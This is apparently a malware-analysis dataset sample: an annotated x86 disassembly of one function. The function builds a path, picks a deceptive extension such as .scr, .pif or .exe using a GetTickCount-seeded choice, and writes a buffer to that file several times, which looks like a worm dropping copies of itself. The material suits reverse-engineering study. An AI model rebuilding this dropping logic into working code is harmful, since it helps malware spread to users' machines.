Function at 0x40fba4
Capabilities:
Check for time delay via gettickcount
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x7f
pop ecx
xor eax, eax
mov byte [ebp - 0x210], 0
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
lea eax, [ebp - 0x210]
push eax
call edi
push 0x4283c8
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp byte [ebp + 0xc], 0
je 0x40fcc4
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
mov esi, eax
add esi, ebx
mov al, byte [esi]
cmp al, 0x5c
je 0x40fc17
cmp al, 0x2f
jne 0x40fc18
jmp 0x40fc17
cmp al, 0x2f
je 0x40fc1e
cmp esi, ebx
jbe 0x40fc1e
dec esi
mov al, byte [esi]
cmp al, 0x5c
jne 0x40fc0f
inc esi
push 0x428458
push esi
call fcn.00412073
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
je 0x40fc3e
inc ebx
push ebx
call edi
cmp eax, 5
jl 0x40fc3e
push ebx
jmp 0x40fc3f
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x210]
push eax
call edi
lea esi, [ebp + eax - 0x210]
lea eax, [esi - 1]
mov cl, byte [eax]
cmp cl, 0x5c
je 0x40fc6b
cmp cl, 0x2f
jne 0x40fc70
mov esi, eax
mov byte [esi], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004201a8
pop ecx
call fcn.004201b2
push 2
cdq
pop ecx
idiv ecx
test edx, edx
jg 0x40fd09
cmp byte [0x44c6a0], 0
jne 0x40fcf3
cmp byte [0x44c6a1], 0
je 0x40fd09
mov eax, dword [0x44c6b0]
mov dword [ebp + 8], eax
mov eax, dword [0x44c6a8]
mov dword [ebp - 8], 0x44c69c
mov dword [ebp - 4], eax
mov byte [ebp + 0xf], 0
jmp 0x40fd48
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x210]
push eax
call esi
lea eax, [ebp + eax - 0x210]
push eax
call fcn.00406cf9
pop ecx
lea eax, [ebp - 0x210]
push eax
call esi
lea esi, [ebp + eax - 0x210]
jmp 0x40fc76
mov eax, dword [0x44c6ac]
mov dword [ebp + 8], eax
mov eax, dword [0x44c6a4]
mov dword [ebp - 8], 0x44c698
jmp 0x40fcb8
cmp byte [0x44c688], 0
je 0x40fd20
mov eax, dword [0x44c68c]
mov dword [ebp - 8], 0x44c680
jmp 0x40fd39
cmp byte [0x44c689], 0
je 0x40fe64
mov eax, dword [0x44c690]
mov dword [ebp - 8], 0x44c684
mov dword [ebp - 4], eax
mov eax, dword [0x44c694]
mov dword [ebp + 8], eax
mov byte [ebp + 0xf], 1
cmp dword [ebp - 4], 0
je 0x40fe64
mov eax, dword [ebp - 8]
inc dword [eax]
cmp byte [ebp + 0xf], 0
je 0x40fd98
movzx ecx, byte [esi - 2]
movzx eax, byte [esi - 3]
add eax, ecx
movzx ecx, byte [esi - 1]
add eax, ecx
push 6
cdq
pop ecx
idiv ecx
dec edx
je 0x40fd91
dec edx
je 0x40fd8a
dec edx
je 0x40fd83
push str..exe
jmp 0x40fd9d
push str..pif
jmp 0x40fd9d
push str..bat
jmp 0x40fd9d
push str..scr
jmp 0x40fd9d
push str..rar
push esi
call edi
and dword [ebp - 0xc], 0
mov esi, 0x80
cmp byte [0x444f84], 0
jne 0x40fde1
lea eax, [ebp - 0x210]
push eax
call fcn.004123a9
test eax, eax
pop ecx
je 0x40fde1
cmp byte [ebp + 0xf], 0
je 0x40fe5f
lea eax, [ebp - 0x210]
push eax
call fcn.0041213d
cmp eax, 0x61a80
pop ecx
jae 0x40fe5f
and dword [ebp - 0x10], 0
mov ebx, dword [ebp + 8]
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push esi
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40fe4b
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test ebx, ebx
jbe 0x40fe4b
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, ebx
add eax, dword [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40fe4b
sub ebx, dword [ebp - 0x10]
jne 0x40fe29
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 5
jl 0x40fda9
mov eax, dword [ebp - 8]
dec dword [eax]
pop edi
pop esi
pop ebx
leave
ret